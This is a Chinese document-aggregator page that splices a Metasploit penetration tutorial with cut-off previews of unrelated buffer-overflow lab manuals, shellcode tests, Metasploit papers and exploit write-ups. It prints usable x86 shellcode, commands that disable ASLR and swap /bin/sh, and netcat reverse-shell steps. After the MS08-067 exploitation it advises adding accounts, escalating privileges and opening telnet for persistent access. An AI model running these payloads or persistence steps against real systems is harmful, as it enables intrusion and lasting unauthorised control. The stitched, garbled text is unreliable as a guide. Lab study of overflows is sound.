搜档网
当前位置:搜档网 › metasploit 漏洞溢出实验

metasploit 漏洞溢出实验

metasploit   漏洞溢出实验
metasploit   漏洞溢出实验

渗透测试:是一种通过模拟攻击者的技术与方法,绕过目标系统的安全控制措施,取得访问控制权限的一种测试方法。

渗透测试执行标准:PTES(penetration testing execution standard)分为7个阶段,并且每个阶段均有不同级别的扩展。

1.前期交互:确定范围和目标。(通常说来就是确定测试的系统的类型,版本,应用系统,

地址等)

2.情报收集:用各种可能的方法来搜集将要攻击的目标的所有信息,包括运行机制。(通

常都是通过扫描的方式来进行信息收集的)

3.*威胁建模:标示出目标系统上可能存在的漏洞*

4.漏洞分析:从前几个环节中获取到的信息,并分析那些攻击途径是可行的,特别是分析

端口和漏洞,和获取到的“旗帜”信息。

5.渗透攻击:在实际情况中旺旺没有你所预想的那么“一帆风顺”而往往是“曲径通幽”。

在你尝试要触发一个漏洞是,你应该清楚的了解在目标系统上存在这个“漏洞”(这个漏洞的版本,这个漏洞的漏洞原理)。

6.后渗透测试:后渗透测试攻击阶段从你已经攻陷了目标的系统或取得了域管理权限之后

开始,此阶段才是真正从你的渗透测试中为客户提供有价值信息的地方,后渗透测试阶段是以特定的业务系统为目标,识别出关键的基础设施,并寻找客户组织最具价值和尝试进行安全保护的信息和资产,你需要表现出能够对客户组织造成重要业务影响的攻击途径。

7.报告。

一些概念:

1.攻击载荷(payload):是我们希望目标系统在被渗透攻击之后去执行的代码。例如

反弹式shell,是一种从目标主机到攻击主机创建网络连接,并执行命令行shell的载荷;bind shell则是在目标主机上将命令行shell绑定到一个打开的监听端口,攻击者可以通过这些端口来取得shell交互。

2.Shellcode:是在渗透测试攻击时作为攻击载荷运行的一组机器指令,在大多数情况

下,目标系统在执行了shellcode后才会提供一个命令行shell。

3.模块(module):指metasploit框架中所使用的一段代码组件

进入正题:

信息收集,从扫描开始,通过扫描获取目标开放了哪些端口、运行了哪些服务

Nmap:-sS 使用它来执行一次隐秘的tcp扫描,来确定某个特定的tcp端口是否开放。

-A 尝试进行深入的服务枚举和旗标获取,为你提供更多信息。

-O选项让nmap对目标的操作系统进行判断

针对性扫描:指寻找目标网络中存在的一直可以利用的漏洞。

我们通过

通过上面这个命令我们可以得到目标系统开放的端口

还有如下漏洞

我们看到目标系统存在ms08-067、ms06-025、ms07-029

那么我们下面就进入到metasploit这个攻击平台上看一看有没有针对以上漏洞进行攻击的模块

我们通过msfconsole这个命令进入到metasploit攻击平台

在metasploit攻击平台上我们通过search这个命令来查找针对于漏洞的攻击模块

找到之后对其进行调用

进入到这个攻击模块下我们再来看一看对于这个漏洞这个模块可以进行利用的目标平台

我们在上面讲了攻击载荷(payload)是我们希望目标系统在被渗透攻击之后去执行的代码。

我们看看metasploit为我们提供了那些攻击载荷

这里的载荷可以在目标系统实现各种功能,这理我们讲1个比较常用的

windows/shell/bind_tcp

到这一步我相信大家都是不是觉得可以做的事情就比较多了呢?比如说添加个账户

觉得权限不够我们再提个权

哈哈

再打开个telnet

这样他即使修补了漏洞,我们就可以通过正常又稳定的途径连上去了试试看

好了有兴趣的话大家可以继续发挥想象力。

下面我们在前面的命令基础上小小的拓展一下

我们用

windows/meterpreter/reverse_tcp

这个攻击载荷试试

大家注意最下方,是不是不一样了

在这种模式下我们可以通过命令对目标机进行截图,看看他装得什么防护软件,之类的

SEED信息安全实验系列:缓冲区溢出漏洞实验

缓冲区溢出漏洞实验 一、实验描述 缓冲区溢出是指程序试图向缓冲区写入超出预分配固定长度数据的情况。这一漏洞可以被恶意用户利用来改变程序的流控制,甚至执行代码的任意片段。这一漏洞的出现是由于数据缓冲器和返回地址的暂时关闭,溢出会引起返回地址被重写。 二、实验准备 本次实验为了方便观察汇编语句,我们需要在32位环境下作操作,因此实验之前需要做一些准备。 1、输入命令安装一些用于编译32位C程序的东西: sudo apt-get update sudo apt-get install lib32z1 libc6-dev-i386 sudo apt-get install lib32readline-gplv2-dev 2、输入命令“linux32”进入32位linux环境。此时你会发现,命令行用起来没那么爽了,比如不能tab补全了,所以输入“/bin/bash”使用bash: 三、实验步骤 3.1 初始设置

Ubuntu和其他一些Linux系统中,使用地址空间随机化来随机堆(heap)和栈(stack)的初始地址,这使得猜测准确的内存地址变得十分困难,而猜测内存地址是缓冲区溢出攻击的关键。因此本次实验中,我们使用以下命令关闭这一功能: sudo sysctl -w kernel.randomize_va_space=0 此外,为了进一步防范缓冲区溢出攻击及其它利用shell程序的攻击,许多shell程序在被调用时自动放弃它们的特权。因此,即使你能欺骗一个Set-UID程序调用一个shell,也不能在这个shell中保持root权限,这个防护措施在/bin/bash中实现。 linux系统中,/bin/sh实际是指向/bin/bash或/bin/dash的一个符号链接。为了重现这一防护措施被实现之前的情形,我们使用另一个shell程序(zsh)代替/bin/bash。下面的指令描述了如何设置zsh程序: sudo su cd /bin rm sh ln -s zsh sh exit 3.2 shellcode 一般情况下,缓冲区溢出会造成程序崩溃,在程序中,溢出的数据覆盖了返回地址。而如果覆盖返回地址的数据是另一个地址,那么程序就会跳转到该地址,如果该地址存放的是一段精心设计的代码用于实现其他功能,这段代码就是shellcode。 观察以下代码: #include int main( ) { char *name[2]; name[0] = ‘‘/bin/sh’’; name[1] = NULL; execve(name[0], name, NULL); } 本次实验的shellcode,就是刚才代码的汇编版本: \x31\xc0\x50\x68"//sh"\x68"/bin"\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80 3.3 漏洞程序 把以下代码保存为“stack.c”文件,保存到/tmp 目录下。代码如下: /* stack.c */ /* This program has a buffer overflow vulnerability. */ /* Our task is to exploit this vulnerability */ #include #include #include int bof(char *str) { char buffer[12]; /* The following statement has a buffer overflow problem */strcpy(buffer, str); return 1;

Metasploit渗透测试实例分析

Metasploit渗透测试实例分析 摘要:随着信息技术的飞速发展,信息安全的概念也在逐步深入人心。为了更好的保护用户信息,提高系统的安全性,渗透测试技术应运而生。简而言之,渗透测试就是模拟黑客的技术手段去检测系统的安全性。 本文选择 Metasploit 渗透测试框架为平台,阐述了Metasploit框架的内容,详细讲解了不同界面下 Metasploit 渗透框架的使用方法,详细讲解了Metasploit的所用功能和参数。然后,本文以实际操作为基础,讲解怎样通过查找的漏洞进行对目标主机攻击来获得Meterpreter shell。成功获取Meterpreter shell之后就可以通过Metasploit一些基本的命令来收集更多的信息,以便达到对目标主机的长期控制和不被用户察觉。 关键词:渗透;Metasploit;Meterpreter shell。 Metasploit penetration testing example analysis Abstract:With the rapid development of information technology, information security is gradually becoming more popular. In order to protect user information and to improve system security, penetration testing techniques have emerged. In short, penetration testing is a technology that simulates the means of hackers to check the security of a system. Paper chooses Metasploit penetration testing framework as a platform to explain the contents of the Metasploit Framework, a detailed account of the use of different interfaces under the Metasploit penetration framework Metasploit explained in detail by using the function and parameters. Then, the paper-based practice, explain how to find loopholes through the target host attack to get Meterpreter shell. After successfully obtaining Meterpreter shell can to collect more information through Metasploit some basic commands in order to achieve long-term control of the target host and are not aware of the user. Key words:permeation;Metasploit;Meterpreter shell.

缓冲区溢出实验报告

华中科技大学计算机学院《信息系统应用安全》实验报告 实验名称缓冲区溢出实验 团队成员: 教师评语:

一.实验环境 ?操作系统:Windows XP SP3 ?编译平台:Visual C++ 6.0 ?调试环境:OllyDbg 二.实验目的 1.掌握缓冲区溢出的原理; 2.掌握缓冲区溢出漏洞的利用技巧; 3.理解缓冲区溢出漏洞的防范措施。 三.实验内容及步骤 1.缓冲区溢出漏洞产生的的基本原理和攻击方法 ?缓冲区溢出模拟程序 程序源代码如下: 运行该程序产生访问异常:

由于拷贝字符串时产生缓冲区溢出,用“ABCD”字符串的值覆盖了原来EIP的值,所以main函数返回时EIP指向44434241,引发访问异常。 运行命令窗口的shellcode shellcode测试代码如下: #include "string.h" #include "stdio.h" #include char name[]= "\x41\x41\x41\x41" "\x41\x41\x41\x41" "\x41\x41\x41\x41" ///覆盖ebp "\x12\x45\xfa\x7f" ////覆盖eip,jmp esp地址7ffa4512 "\x55\x8b\xec\x33\xc0\x50\x50\x50\xc6\x45\xf4\x6d" "\xc6\x45\xf5\x73\xc6\x45\xf6\x76\xc6\x45\xf7\x63" "\xc6\x45\xf8\x72\xc6\x45\xf9\x74\xc6\x45\xfa\x2e" "\xc6\x45\xfb\x64\xc6\x45\xfc\x6c\xc6\x45\xfd\x6c" "\x8d\x45\xf4\x50\xb8" "\x77\x1d\x80\x7c" // LoadLibraryW的地址 "\xff\xd0" "\x55\x8b\xec\x33\xff\x57\x57\x57\xc6\x45\xf4\x73" "\xc6\x45\xf5\x74\xc6\x45\xf6\x61\xc6\x45\xf7\x72" "\xc6\x45\xf8\x74\xc6\x45\xf9\x20\xc6\x45\xfa\x63"

Metasploit详解详细图文教程

Metasploit详解详细图文教程 1. 一、metasploit简介 Metasploit是一款开源的安全漏洞检测工具,同时Metasploit是免费的工具,因此安全工作人员常用Metasploit工具来检测系统的安全性。Metasploit Framework (MSF) 在2003年以开放源码方式发布,是可以自由获取的开发框架。它是一个强大的开源平台,供开发,测试和使用恶意代码,这个环境为渗透测试、shellcode 编写和漏洞研究提供了一个可靠平台。 这种可以扩展的模型将负载控制(payload)、编码器(encode)、无操作生成器(nops)和漏洞整合在一起,使Metasploit Framework 成为一种研究高危漏洞的途径。它集成了各平台上常见的溢出漏洞和流行的shellcode ,并且不断更新。 目前的版本收集了数百个实用的溢出攻击程序及一些辅助工具,让人们使用简单的方法完成安全漏洞检测,即使一个不懂安全的人也可以轻松的使用它。当然,它并不只是一个简单的收集工具,提供了所有的类和方法,让开发人员使用这些代码方便快速的进行二次开发。 其核心中一小部分由汇编和C语言实现,其余由ruby实现。不建议修改汇编和C语言部分。1. 二、搭建metasploit环境 Windows环境下安装。 从官方网站https://www.sodocs.net/doc/2d7881588.html,/下载windows版本的安装版,直接安装即可。安装的版本是3.5.1。安装时需要注意以下两点: 1. 在安装的时候要关闭杀毒软件。否则的话会导致杀毒软件和metasploit 冲突,导致安装失败。 2. 在控制面版——区域和语言选项——选择英文(美国)——高级选项卡中 选择英文(美国)。因为在安装的时候,会进行检测,如果属于非英文 地区会导致安装失败。 如果安装有杀毒软件,会经常提示在metasploit的安装目录下检测到病毒或木马。

缓冲区溢出攻击实验报告

缓冲区溢出攻击实验报告 班级:10网工三班学生姓名:谢昊天学号:46 实验目的和要求: 1、掌握缓冲区溢出的原理; 2、了解缓冲区溢出常见的攻击方法和攻击工具; 实验内容与分析设计: 1、利用RPC漏洞建立超级用户利用工具文件检测RPC漏洞,利用工具软件对进行攻击。攻击的结果将在对方计算机上建立一个具有管理员权限的用户,并终止了对方的RPC服务。 2、利用IIS溢出进行攻击利用软件Snake IIS溢出工具可以让对方的IIS溢出,还可以捆绑执行的命令和在对方计算机上开辟端口。 3、利用WebDav远程溢出使用工具软件和远程溢出。 实验步骤与调试过程: 1.RPC漏洞出。首先调用RPC(Remote Procedure Call)。当系统启动的时候,自动加载RPC服务。可以在服务列表中看到系统的RPC服务。利用RPC漏洞建立超级用户。首先,把文件拷贝到C盘跟目录下,检查地址段到。点击开始>运行>在运行中输入cmd>确定。进入DOs模式、在C盘根目录下输入 -,回车。检查漏洞。 2.检查缓冲区溢出漏洞。利用工具软件对进行攻击。在进入DOC模式、在C盘根目录下输入 ,回车。 3,利用软件Snake IIS溢出工具可以让对方的IIS溢出。进入IIS溢出工具软件的主界面. PORT:80 监听端口为813 单击IDQ溢出。出现攻击成功地提示对话框。 4.利用工具软件连接到该端口。进入DOs模式,在C盘根目录下输入 -vv 813 回车。5.监听本地端口(1)先利用命令监听本地的813端口。进入DOs模式,在C盘根目录下输入nc -l -p 813回车。(2)这个窗口就这样一直保留,启动工具软件snake,本地的IP 地址是,要攻击的计算机的IP地址是,选择溢出选项中的第一项,设置IP为本地IP地址,端口是813.点击按钮“IDQ溢出”。(3)查看nc命令的DOS框,在该界面下,已经执行了设置的DOS命令。将对方计算机的C盘根目录列出来,进入DOC模式,在C盘根目录下输入nc -l -p 813回车。 6.利用WebDav远程溢出使用工具软件和远程溢出。(1)在DOS命令行下执行,进入DOC 模式,在C盘根目录下输入回车。(2)程序入侵对方的计算机进入DOC模式,在C盘根目录下输入nc -vv 7788 回车。 实验结果: 1.成功加载RPC服务。可以在服务列表中看到系统的RPC服务,见结果图。 2.成功利用工具软件对进行攻击。 3.成功利用IIS溢出进行攻击利用软件Snake IIS溢出工具让对方的IIS溢出,从而捆绑

怎样写远程缓冲区溢出漏洞利用程序

怎样写远程缓冲区溢出漏洞利用程序
作者:佚名出处:IT 专家网论坛整理 2007-12-18 10:29
假设有一个有漏洞的服务器程序(vulnerable.c). 然后写一个 exploit 来 利用该漏洞,这样将能得到一个远程 shell。 一、理解有漏洞程序:
#include #include #include #define BUFFER_SIZE 1024 #define NAME_SIZE 2048 int handling(int c) { char buffer[BUFFER_SIZE], name[NAME_SIZE]; int bytes; strcpy(buffer, "My name is: "); bytes = send(c, buffer, strlen(buffer), 0); if (bytes == -1) return -1; bytes = recv(c, name, sizeof(name), 0); if (bytes == -1) return -1; name[bytes - 1] = ’\0’; sprintf(buffer, "Hello %s, nice to meet you!\r\n", name); bytes = send(c, buffer, strlen(buffer), 0); if (bytes == -1) return -1; return 0; } int main(int argc, char *argv[]) { int s, c, cli_size; struct sockaddr_in srv, cli; if (argc != 2) { fprintf(stderr, "usage: %s port\n", argv[0]); return 1; }

metasploit开发使用详细解析

Metasploit 目录 一、metasploit简介 (1) 二、搭建metasploit环境 (1) 三、metasploit的使用 (2) 四、Metasploit攻击方法分类 (3) 五、Metasploit架构 (4) 六、Metasploit二次开发方法 (6) 七、安全软件常用检测方法 (6) 八、Metasploit反检测方法 (7) 九、一般攻击的过程 (7) 十、恶意软件分类 (8) 十一、exploits详细解析之proftp_telnet_iac.rb (8) 一、metasploit简介 Metasploit是一款开源的安全漏洞检测工具,同时Metasploit是免费的工具,因此安全工作人员常用Metasploit工具来检测系统的安全性。Metasploit Framework (MSF) 在2003年以开放源码方式发布,是可以自由获取的开发框架。它是一个强大的开源平台,供开发,测试和使用恶意代码,这个环境为渗透测试、shellcode 编写和漏洞研究提供了一个可靠平台。 这种可以扩展的模型将负载控制(payload)、编码器(encode)、无操作生成器(nops)和漏洞整合在一起,使Metasploit Framework 成为一种研究高危漏洞的途径。它集成了各平台上常见的溢出漏洞和流行的 shellcode ,并且不断更新。 目前的版本收集了数百个实用的溢出攻击程序及一些辅助工具,让人们使用简单的方法完成安全漏洞检测,即使一个不懂安全的人也可以轻松的使用它。当然,它并不只是一个简单的收集工具,提供了所有的类和方法,让开发人员使用这些代码方便快速的进行二次开发。 其核心中一小部分由汇编和C语言实现,其余由ruby实现。不建议修改汇编和C语言部分。 二、搭建metasploit环境 Windows环境下安装。 从官方网站https://www.sodocs.net/doc/2d7881588.html,/下载windows版本的安装版,直接安装即可。安装的版本是3.5.1。安装时需要注意以下两点: 1在安装的时候要关闭杀毒软件。否则的话会导致杀毒软件和metasploit冲突,导致安装失败。 2在控制面版——区域和语言选项——选择英文(美国)——高级选项卡中选择英文(美国)。因为在安装的时候,会进行检测,如果属于非英文地区会导致安装失败。

metasploit 渗透2003server教程

Metasploit 渗透未打补丁的windows 2003 server 教程 演示之前,我先介绍一下演示的环境配置:使用Vware10.0构建两个虚拟机,分别采用kali-linux和windows 2003 server sp3操作系统,宿主机操作系统是windows 7。首先将windows 2003 server sp3 虚拟机作为被渗透的目标机,IP地址为192.168.1.103;kali-linux虚拟机作为攻击机,IP地址为192.168.1.2。之所以选择kali-linux系统作为攻击机,是因为其本身就是黑客最常用攻击的平台,系统整合了许多用于攻击的程序。Kali-linux系统界面如下图1所示。靶机windows2003server sp3 系统如图2 所示。 图1 目标主机的截图

图2 首先,在kali-linux系统终端运行:service postgresql start和service metasploit start 两个命令,其中前者是开启SQL数据库服务的命令,后者是运行metasploit渗透测试框架程序的命令。如图3所示,表明服务运行成功。接着在终端输入msfconsole命令,运行metasploit 命令行程序,程序运行成功。如图4所示。 开启服务

图3 运行msfconsole 图4 由于windows 2003 server 是微软应用最广泛的企业级操作系统之一,这次我们针对其netapi32.dll漏洞进行渗透。至于为什么会针对此漏洞进行渗透,是因为通过前期大量的扫描获得了主机存在这个漏洞信息,这些工作不在此次演示范围,在此忽略。 第二步,运行search netapi 命令搜索netapi,在metasploit框架中列出所有与netapi相关的漏洞利用代码。如图5所示。

缓冲区溢出攻击详细讲解

缓冲区溢出攻击详细讲解 缓冲区溢出(Buffer Overflow)是计算机安全领域既经典而又古老的话题。随着计算机系统安全性的加强,传统的缓冲区溢出攻击方式可能变得不再奏效,相应的介绍缓冲区溢出原理的资料也变得“大众化”起来。其中看雪的《0day安全:软件漏洞分析技术》一书将缓冲区溢出攻击的原理阐述得简洁明了。本文参考该书对缓冲区溢出原理的讲解,并结合实际的代码实例进行验证。不过即便如此,完成一个简单的溢出代码也需要解决很多书中无法涉及的问题,尤其是面对较新的具有安全特性的编译器——比如MS的Visual Studio2010。接下来,我们结合具体代码,按照对缓冲区溢出原理的循序渐进地理解方式去挖掘缓冲区溢出背后的底层机制。 一、代码 <=> 数据 顾名思义,缓冲区溢出的含义是为缓冲区提供了多于其存储容量的数据,就像往杯子里倒入了过量的水一样。通常情况下,缓冲区溢出的数据只会破坏程序数据,造成意外终止。但是如果有人精心构造溢出数据的容,那么就有可能获得系统的控制权!如果说用户(也可能是黑客)提供了水——缓冲区溢出攻击的数据,那么系统提供了溢出的容器——缓冲区。 缓冲区在系统中的表现形式是多样的,高级语言定义的变量、数组、结构体等在运行时可以说都是保存在缓冲区的,因此所谓缓冲区可以更抽象地理解为一段可读写的存区域,缓冲区攻击的最终目的就是希望系统能执行这块可读写存中已经被蓄意设定好的恶意代码。按照冯·诺依曼存储程序原理,程序代码是作为二进制数据存储在存的,同样程序的数据也在存中,因此直接从存的二进制形式上是无法区分哪些是数据哪些是代码的,这也为缓冲区溢出攻击提供了可能。

漏洞发掘与缓冲区溢出检测技术

漏洞发掘与缓冲区溢出检测技术 赵鑫 北京邮电大学信息工程学院,北京(100876) E-mail:jarious@https://www.sodocs.net/doc/2d7881588.html, 摘要:本文通过分析缓冲区溢出发生的原理和一般利用过程,并结合漏洞发掘技术,提出了缓冲区溢出的几种检测方法,即通过进行缓冲区边界检查和指针完整性检查,并辅以攻击数据行为检测和编写正确的代码,来达到检测缓冲区溢出的目的。这几种方法可以有效地检测缓冲区溢出问题,从而避免缓冲区溢出带来的危害。 关键词:缓冲区溢出,漏洞发掘,安全 中图分类号:TP393 1.引言 一般来说,漏洞(Vulnerability)是指系统或应用程序存在的某种未曾预料到的未授权、不安全状态,它的出现往往是由于某些编程、配置或操作上的缺陷(Flaw)以及一些特定的条件引起的,攻击者往往需要构造条件,利用这些缺陷,使系统或应用程序由正常状态进入该状态,从而破坏正常的安全机制。 缓冲区溢出漏洞利用技术主要是从溢出点与Shellcode技术两部分来进行研究。那么,缓冲区溢出漏洞检测技术就可以分别针对这两个方面展开。针对溢出点主要采取的是缓冲区边界检查及指针完整性检查,而攻击数据特征检测则主要针对Shellcode。 2.缓冲区溢出漏洞原理 缓冲区是程序运行的时候机器内存中的一个连续块,它可以在栈(stack)、堆(heap)或未初始化数据段(bss)中。正常情况下,系统将数据存放在其分配好的一定大小的一段缓冲区内,若存在某些编程错误,使得攻击者可以通过控制该缓冲区或其它缓冲区内的数据,来控制程序流程,从而达到攻击目标,称该漏洞为缓冲区溢出漏洞,称这样的攻击为缓冲区溢出攻击。就目前的发展情况来看,缓冲区溢出攻击一般分为基于栈(stack-based)的缓冲区溢出攻击与基于堆(heap/bss-based)的缓冲区溢出攻击。 在进程的内存空间中,栈(stack)起到了保存有关当前函数调用上下文的容器的作用。许多内容都可能进入栈空间,其中包括:函数的非静态局部变量值、堆栈基址、当函数返回时程序应该跳转到的返回地址以及传递到函数中的参数等,其结构如图1所示。 图1 函数栈空间结构 当程序员编写程序时出现边界检验错误,不限制写入buffer中内容的长度时,就会出现由于写入内容过多,导致缓冲区溢出,堆栈结构被破坏。结果,可能引起程序运行失败,产

基于Metasploit利用GHOST漏洞最终版

基于Metasploit利用GHOST 漏洞获得远程Exim邮件服务器SHELL 分析阶段 1.GHOST漏洞分析及其条件限制 2.如何利用受GHOST漏洞影响的Exim服务的原理 实际操作阶段 1.渗透环境搭建:KaliLinux与Metasploit 2.使用Nmap对目标进行端口扫描及服务查点 3.快速检查被渗透目标是否存在ghost漏洞 4.使用Metasploit加载GHOST漏洞攻击模块进行远程入侵,获得远程主 机shell ========= 分析开始 ========= GHOST漏洞分析及其条件限制 GHOST漏洞是2015年1月27号公布的Linux底层漏洞,国际编号为CVE-2015-0235,存在于GNU C库(glibc)中,受影响的Linux发现版本有:Debian 7 (wheezy),Red Hat Enterprise,Linux 6 & 7,CentOS 6 & 7,Ubuntu 12.04等。 存在漏洞的函数__nss_hostname_digits_dots()由glibc的非重入版本的文件:

nss/getXXbyYY.c,以及重入版本:nss/getXXbyYY_r.c提供。然而,这个函数的调用是由#ifdef HANDLE_DIGITS_DOTS来定义的,这个宏定义只在这几个文件有: - inet/gethstbynm.c - inet/gethstbynm2.c - inet/gethstbynm_r.c - inet/gethstbynm2_r.c - nscd/gethstbynm3_r.c 以上这些文件实现gethostbyname*()函数族,因此也只有它们会调用__nss_hostname_digits_dots(),并且可能触发它的缓冲区溢出。该函数的作用是:“如果主机名是IPv4/IPv6地址,就跳过费时的DNS查找”。 glibc-2.17的代码如下: 35 int 36 __nss_hostname_digits_dots (const char *name, struct hostent *resbuf, 37 char **buffer, size_t *buffer_size, 38 size_t buflen, struct hostent **result, 39 enum nss_status *status, int af, int *h_errnop) 40 { .. 57 if (isdigit (name[0]) || isxdigit (name[0]) || name[0] == ':') 58 { 59 const char *cp; 60 char *hostname; 61 typedef unsigned char host_addr_t[16]; 62 host_addr_t *host_addr; 63 typedef char *host_addr_list_t[2]; 64 host_addr_list_t *h_addr_ptrs; 65 char **h_alias_ptr; 66 size_t size_needed; .. 85 size_needed = (sizeof (*host_addr) 86 + sizeof (*h_addr_ptrs) + strlen (name) + 1); 87 88 if (buffer_size == NULL) 89 { 90 if (buflen < size_needed) 91 { .. 95 goto done;

缓冲区溢出漏洞

缓冲区溢出漏洞 IBM软件研究院 缓冲区溢出漏洞,是一种在软件中最容易发生的漏洞。它发生的原理是,由于软件在处理用户数据时使用了不限边界的拷贝,导致程序内部一些关键的数据被覆盖,引发了严重的安全问题。 缓冲区指的是操作系统中用来保存临时数据的空间,一般分为栈和堆两种缓冲区类型。缓冲区溢出漏洞是一种非常普通、非常危险的漏洞,在各种操作系统、应用软件,甚至是Web应用程序中广泛存在。 利用缓冲区溢出攻击,可以导致程序运行失败、系统当机、重新启动等后果。更为严重的是,可以利用它执行非授权指令,甚至可以取得系统特权,进而进行各种非法操作。 在当前网络与操作系统安全中,50%以上的攻击都是来自于缓冲区溢出漏洞。而缓冲区溢出中,最为危险的是栈溢出,因为入侵者可以利用栈溢出,在函数返回时改变返回程序的地址,让其跳转到任意地址,带来的一种是程序崩溃导致拒绝服务,另外一种就是跳转并且执行一段恶意代码,然后为所欲为。 这里要澄清一个概念,很多人把缓冲区溢出称之为堆栈溢出漏洞,其实是错误的,堆溢出和栈溢出是两个不同的概念,都属于缓冲区溢出。 平时听说的缓冲区溢出大部分都是属于栈溢出。由于程序在实现的过程中,往往会自定义一些内存空间来负责接受或者存储数据,这些被直接定义的空间大小是有限的,因此当程序将过多的数据不经检查而直接放入这些空间中时,就会发生栈溢出。 栈溢出最为直接的危害是,这些被过量放进内存空间的数据会将函数的返回地址覆盖。“返回地址”的概念来自于CPU处理指令的结构设计。如果程序现在准备调用一个函数,CPU首先会将执行完这个函数后将要执行的指令地址存储到栈空间中,然后CPU开始执行函数,执行完毕,CPUCPU取出前面保存的指令地址,然后接着执行。这个“返回地址”是保存在栈空间中的,而程序一般定义的空间也是在栈中进行分配的,这就给了我们覆盖这个“返回地址”的机会。 栈是一个先进后出的空间,而堆则恰恰相反,是一个先进先出的空间。缓冲区溢出就是把这些空间装满后还继续往里面装。 但是对于一个软件来讲,危害可能不仅仅如此,用一个表来表示这个过程在栈溢出发生的时候,软件运行时内存中的情况。 正常: Lower Addresses buf2 buf1 var3 saved %EBP return address function()'s arguments saved %EBP

理解缓冲区溢出漏洞的利用

理解缓冲区溢出漏洞的利用 在我第一次不得不处理缓冲区溢出漏洞时,我真是一窍不通啊!虽然我可以建立网络和配置防火墙、代理服务器,不费吹灰之力的入侵检测系统,但是对于利用代码来说,我还是第一次接触到。然而,正如处理任何复杂或是困难的概念一样,最好的办法就是把它分解成我们了解的多个部分。 在研究和学习教程后,一些概念和工具开始变得不那么令人困惑了,并且逐渐能够明白一些细节了。然后,我开始在实验室现有已掌握可重建的应用程序中,寻找简单的缓存漏洞。只有在不断地实验,各种概念会一个个出现————整个进程,无论是独立的部分还是整体————都会一点点呈现出来。 本教程将会为防御者描述一些基本概念,包括一个攻击者经历漏洞开发过程,需要的工作量和攻击者将要面对的编写恶意代码攻击特定漏洞的风险。 如今的攻击者既有决心也有技术,并且知道对于负责计算机和网络的人来说什么实际操作是最关键的,防御者对敌人的动机和技术了解的越多,他就越容易制定有效的防御措施。 我要经历几个漏洞挖掘的阶段的才能找到一个有效漏洞,首先,我们会fuzz我们的目标应用程序,通过一个有趣的方式使它崩溃,通过Immunity debugger来监控崩溃的过程,在Windows系统的内存中找到最易受攻击的溢出的shellcode。随后,我们将要创造一个漏洞来传递shellcode,从而攻击远程系统。 需要的软件/设置 ?攻击系统:Backtrack Linux(我用的R3) ?开发/受害系统:Windows xp sp3英文版 ?Immunity debugger:安装在Windows xp系统上 ?FloatFTP:我们要利用的应用程序 让我们正是开始吧! Fuzzing “Fuzzing”是发送无效或畸形的、过多的和随机数据到计算机程序试图使系统崩溃或出现意想不到现象的测试手段。Fuzzing用于测试系统和程序的安全。 双击float FTP来执行开始:

完整版Metasploit利用溢出漏洞远控Windows靶机操作指南

1网络测试环境构建 首先需要先配置好一个渗透测试用的网络环境, 包括如图1所示的运行Kali Linux 系统的计算机,如图2所示的Windows Server 2003系统的计算机和如图 3所示的运行 Windows 7系统的计算机。显然这三台计算机处于同一个网段中, 可以相互通讯,Kali 系统用作攻击机,下面将在此系统上运行 Metasploit 进行 渗透测试,而 Windows 2003和Windows 7系统都是本次任务中需要进行渗透入 图1 Kali 攻击机 侵的靶机,保持安装后的默认状态,没有打额外的系统安全补丁。 root Mlflj 2 Ki3) f 厂 mine: 0 carrie 『;3 F 叽 r-1j 3 kA 丄PM AppLitutlgin 兮 PLic 砂常 l*-l Link enc ap r Lor al L 二口pback Irwt 1 LmtB add r i : :1/12B UP LOOPBACK RUNNING packets : 32 归「厂口 [厂石 TX packets : 32 er rars RX fl -4 IFcanflg Llrik anc4p :EThemQt HWidek ftG L G C .29^30:25: fl inot addr-l :0_] 0.10.13? Beast 11?. 10.13.255 貼 Lnatfi addn fgfid r 1513c = 29f f : fofifli:25t 1/^4 JScjppa : I UP BROADCAST HUftNI^G MULHC4ST hlTU:垢舲 Moir R H pKket§: 136S7 errors:? repped :9 ovtrnjri9:9 IM packets :2S£I 92 e r r : rs:& d repp^d : G overnjfisM3 c oil 丄^icns : D t Kqdfi je L 色n :1 HUJ X J ftH b>T?:9U9JS {?Q,5 Kim TK b/tH :117672Lfi Hwle 苦乩(L0卫 Stope: Hast MTU: 655 3S Metric:! i z B dropped ; 3 o^erruriB : 0 i :0 dropped :fl overruns :A :? _ ilo fc&i Via^r Sajieh T

metasploit命令集

Metasploit Framework命令汇总一、msfconsole ? 帮助菜单 back 从当前环境返回 banner 显示一个MSF banner cd 切换目录 color 颜色转换 connect 连接一个主机 exit 退出MSF help 帮助菜单 info 显示一个或多个模块的信息 irb 进入irb脚本模式 jobs 显示和管理作业 kill 杀死一个作业 load 加载一个插件 loadpath 在一个路径搜索并加载模块 quit 退出MSF resource 运行存储在一个文件中的命令 route 查看一个会话的路由信息 save 保存动作 search 搜索模块名和描述 set 给一个变量赋值 setg 把一个值赋给全局变量 show 显示所给类型的模块,或所有模块 sleep 在限定的秒数内什么也不做 unload 卸载一个模块 unset 解除一个或多个变量 unsetg 解除一个或多个全局变量 use 通过名称选择一个模块 version 显示MSF和控制台库版本号 二、database db_add_host 添加一个或多个主机到数据库 db_add_note 添加一个注释到主机 db_add_port 添加一个端口到主机 db_connect 连接一个存在的数据库 db_create 创建一个新的数据库实例 db_del_host 从数据库删除一个或多个主机 db_del_port 从数据库删除一个端口 db_destroy 删除一个存在的数据库 db_disconnect 断开与当前数据库实例的连接 db_driver 指定一个数据库驱动 db_hosts 列出数据库中的所有主机

Windows平台下的缓冲区溢出漏洞分析

第27卷 第2期2003年2月 信 息 技 术 I NFORMATI ON TECHNOLOGY VOL.27 NO.2 Feb.2003 Windows平台下的缓冲区溢出漏洞分析 邵 丹,唐世钢,林 枫 (哈尔滨理工大学测试技术与通信工程学院,哈尔滨150080) 摘 要:就windows平台下利用缓冲区溢出漏洞发起攻击时遇到的几个技术问题提出了一些想法和解决思路,这些问题包括:子函数返回时原缓冲区释放导致攻击代码shellcode无效问题; shellcode中跳转指令地址问题;shellcode所使用函数问题。 关键词:Windo ws;缓冲区溢出;漏洞 中图分类号:TP393.08 文献标识码:B 文章编号:1009-2552(2003)02-0017-03 The Analysis of Buffer Overflow Exploit under Windows OS Shao Dan,Tang Shigang,Lin Feng (College of Measure-control Technology&C ommunication Eng ineering,Harbin Univ.Sci.Tech,Harbin150080,China) Abstract:This article analyze some technical problems about overflow exploit under Windows OS and brings for word some ideas about how to solve them.These proble ms include:The function stack be released when func tion return;that result in the invalidation of shellcode,The proble m about jump address in shellcode,The problem about the function used in shellcode. Key words:Windows;Overflow;Exploit 1 缓冲区溢出 